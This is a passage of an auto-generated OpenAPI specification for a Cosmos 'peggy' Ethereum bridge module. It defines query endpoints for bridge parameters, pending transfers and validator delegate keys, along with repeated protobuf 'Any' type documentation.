The pack methods provided by protobuf library will | |
by default use | |
'type.googleapis.com/full.type.name' as the type URL | |
and the unpack | |
methods only use the fully qualified type name after | |
the last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" | |
will yield type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the | |
regular | |
representation of the deserialized, embedded | |
message, with an | |
additional field `@type` which contains the type | |
URL. Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a | |
custom JSON | |
representation, that representation will be embedded | |
adding a field | |
`value` which holds the custom JSON in addition to | |
the `@type` | |
field. Example (for message | |
[google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
description: >- | |
The actual content of the claims is passed in with the | |
transaction making the | |
claim and then passed through the call stack alongside | |
the attestation while | |
it is processed the key in which the attestation is | |
stored is keyed on the | |
exact details of the claim but there is no reason to | |
store those exact | |
details becuause the next message sender will kindly | |
provide you with them. | |
title: >- | |
Attestation is an aggregate of `claims` that eventually | |
becomes `observed` by | |
all orchestrators | |
EVENT_NONCE: | |
EventNonce a nonce provided by the peggy contract that | |
is unique per event | |
fired These event nonces must be relayed in order. This | |
is a correctness | |
issue, if relaying out of order transaction replay | |
attacks become possible | |
OBSERVED: | |
Observed indicates that >67% of validators have attested | |
to the event, | |
and that the event should be executed by the peggy state | |
machine | |
orchestrator_addresses: | |
type: array | |
items: | |
type: object | |
properties: | |
sender: | |
type: string | |
orchestrator: | |
type: string | |
eth_address: | |
type: string | |
title: >- | |
MsgSetOrchestratorAddresses | |
this message allows validators to delegate their voting | |
responsibilities | |
to a given key. This key is then used as an optional | |
authentication method | |
for sigining oracle claims | |
VALIDATOR | |
The validator field is a cosmosvaloper1... string (i.e. | |
sdk.ValAddress) | |
that references a validator in the active set | |
ORCHESTRATOR | |
The orchestrator field is a cosmos1... string (i.e. | |
sdk.AccAddress) that | |
references the key that is being delegated to | |
ETH_ADDRESS | |
This is a hex encoded 0x Ethereum public key that will | |
be used by this | |
validator on Ethereum | |
erc20_to_denoms: | |
type: array | |
items: | |
type: object | |
properties: | |
erc20: | |
type: string | |
denom: | |
type: string | |
title: >- | |
This records the relationship between an ERC20 token and | |
the denom | |
of the corresponding Cosmos originated asset | |
unbatched_transfers: | |
type: array | |
items: | |
type: object | |
properties: | |
id: | |
type: string | |
format: uint64 | |
sender: | |
type: string | |
dest_address: | |
type: string | |
erc20_token: | |
type: object | |
properties: | |
contract: | |
type: string | |
amount: | |
type: string | |
title: >- | |
ERC20Token unique identifier for an Ethereum ERC20 | |
token. | |
CONTRACT: | |
The contract address on ETH of the token, this could | |
be a Cosmos | |
originated token, if so it will be the ERC20 address | |
of the representation | |
(note: developers should look up the token symbol | |
using the address on ETH to | |
display for UI) | |
erc20_fee: | |
type: object | |
properties: | |
contract: | |
type: string | |
amount: | |
type: string | |
title: >- | |
ERC20Token unique identifier for an Ethereum ERC20 | |
token. | |
CONTRACT: | |
The contract address on ETH of the token, this could | |
be a Cosmos | |
originated token, if so it will be the ERC20 address | |
of the representation | |
(note: developers should look up the token symbol | |
using the address on ETH to | |
display for UI) | |
title: >- | |
OutgoingTransferTx represents an individual send from | |
Peggy to ETH | |
last_observed_ethereum_height: | |
type: string | |
format: uint64 | |
last_outgoing_batch_id: | |
type: string | |
format: uint64 | |
last_outgoing_pool_id: | |
type: string | |
format: uint64 | |
last_observed_valset: | |
type: object | |
properties: | |
nonce: | |
type: string | |
format: uint64 | |
members: | |
type: array | |
items: | |
type: object | |
properties: | |
power: | |
type: string | |
format: uint64 | |
ethereum_address: | |
type: string | |
title: >- | |
BridgeValidator represents a validator's ETH address | |
and its power | |
height: | |
type: string | |
format: uint64 | |
reward_amount: | |
type: string | |
reward_token: | |
type: string | |
title: >- | |
the reward token in it's Ethereum hex address | |
representation | |
title: >- | |
Valset is the Ethereum Bridge Multsig Set, each peggy | |
validator also | |
maintains an ETH key to sign messages, these are used to | |
check signatures on | |
ETH because of the significant gas savings | |
ethereum_blacklist: | |
type: array | |
items: | |
type: string | |
title: GenesisState struct | |
description: >- | |
QueryModuleStateResponse is the response type for the | |
Query/PeggyModuleState RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
tags: | |
- Query | |
/peggy/v1/oracle/event/{address}: | |
get: | |
summary: claim | |
operationId: LastEventByAddr | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
last_claim_event: | |
type: object | |
properties: | |
ethereum_event_nonce: | |
type: string | |
format: uint64 | |
ethereum_event_height: | |
type: string | |
format: uint64 | |
description: LastClaimEvent stores last claim event details of validator. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: address | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/peggy/v1/params: | |
get: | |
summary: Deployments queries deployments | |
operationId: PeggyParams | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
params: | |
type: object | |
properties: | |
peggy_id: | |
type: string | |
contract_source_hash: | |
type: string | |
bridge_ethereum_address: | |
type: string | |
bridge_chain_id: | |
type: string | |
format: uint64 | |
signed_valsets_window: | |
type: string | |
format: uint64 | |
signed_batches_window: | |
type: string | |
format: uint64 | |
signed_claims_window: | |
type: string | |
format: uint64 | |
target_batch_timeout: | |
type: string | |
format: uint64 | |
average_block_time: | |
type: string | |
format: uint64 | |
average_ethereum_block_time: | |
type: string | |
format: uint64 | |
slash_fraction_valset: | |
type: string | |
format: byte | |
slash_fraction_batch: | |
type: string | |
format: byte | |
slash_fraction_claim: | |
type: string | |
format: byte | |
slash_fraction_conflicting_claim: | |
type: string | |
format: byte | |
unbond_slashing_valsets_window: | |
type: string | |
format: uint64 | |
slash_fraction_bad_eth_signature: | |
type: string | |
format: byte | |
cosmos_coin_denom: | |
type: string | |
cosmos_coin_erc20_contract: | |
type: string | |
claim_slashing_enabled: | |
type: boolean | |
bridge_contract_start_height: | |
type: string | |
format: uint64 | |
valset_reward: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an amount. | |
NOTE: The amount field is an Int which implements the | |
custom method | |
signatures required by gogoproto. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
tags: | |
- Query | |
/peggy/v1/pending_send_to_eth: | |
get: | |
summary: batch | |
operationId: GetPendingSendToEth | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
transfers_in_batches: | |
type: array | |
items: | |
type: object | |
properties: | |
id: | |
type: string | |
format: uint64 | |
sender: | |
type: string | |
dest_address: | |
type: string | |
erc20_token: | |
type: object | |
properties: | |
contract: | |
type: string | |
amount: | |
type: string | |
title: >- | |
ERC20Token unique identifier for an Ethereum ERC20 | |
token. | |
CONTRACT: | |
The contract address on ETH of the token, this could be | |
a Cosmos | |
originated token, if so it will be the ERC20 address of | |
the representation | |
(note: developers should look up the token symbol using | |
the address on ETH to | |
display for UI) | |
erc20_fee: | |
type: object | |
properties: | |
contract: | |
type: string | |
amount: | |
type: string | |
title: >- | |
ERC20Token unique identifier for an Ethereum ERC20 | |
token. | |
CONTRACT: | |
The contract address on ETH of the token, this could be | |
a Cosmos | |
originated token, if so it will be the ERC20 address of | |
the representation | |
(note: developers should look up the token symbol using | |
the address on ETH to | |
display for UI) | |
title: >- | |
OutgoingTransferTx represents an individual send from Peggy | |
to ETH | |
unbatched_transfers: | |
type: array | |
items: | |
type: object | |
properties: | |
id: | |
type: string | |
format: uint64 | |
sender: | |
type: string | |
dest_address: | |
type: string | |
erc20_token: | |
type: object | |
properties: | |
contract: | |
type: string | |
amount: | |
type: string | |
title: >- | |
ERC20Token unique identifier for an Ethereum ERC20 | |
token. | |
CONTRACT: | |
The contract address on ETH of the token, this could be | |
a Cosmos | |
originated token, if so it will be the ERC20 address of | |
the representation | |
(note: developers should look up the token symbol using | |
the address on ETH to | |
display for UI) | |
erc20_fee: | |
type: object | |
properties: | |
contract: | |
type: string | |
amount: | |
type: string | |
title: >- | |
ERC20Token unique identifier for an Ethereum ERC20 | |
token. | |
CONTRACT: | |
The contract address on ETH of the token, this could be | |
a Cosmos | |
originated token, if so it will be the ERC20 address of | |
the representation | |
(note: developers should look up the token symbol using | |
the address on ETH to | |
display for UI) | |
title: >- | |
OutgoingTransferTx represents an individual send from Peggy | |
to ETH | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: sender_address | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/peggy/v1/query_delegate_keys_by_eth: | |
get: | |
operationId: GetDelegateKeyByEth | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
validator_address: | |
type: string | |
orchestrator_address: | |
type: string | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: eth_address | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/peggy/v1/query_delegate_keys_by_orchestrator: | |
get: | |
operationId: GetDelegateKeyByOrchestrator | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
validator_address: | |
type: string | |
eth_address: | |
type: string | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: orchestrator_address | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/peggy/v1/query_delegate_keys_by_validator: | |
get: | |
operationId: GetDelegateKeyByValidator | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
eth_address: | |
type: string | |
orchestrator_address: | |
type: string | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
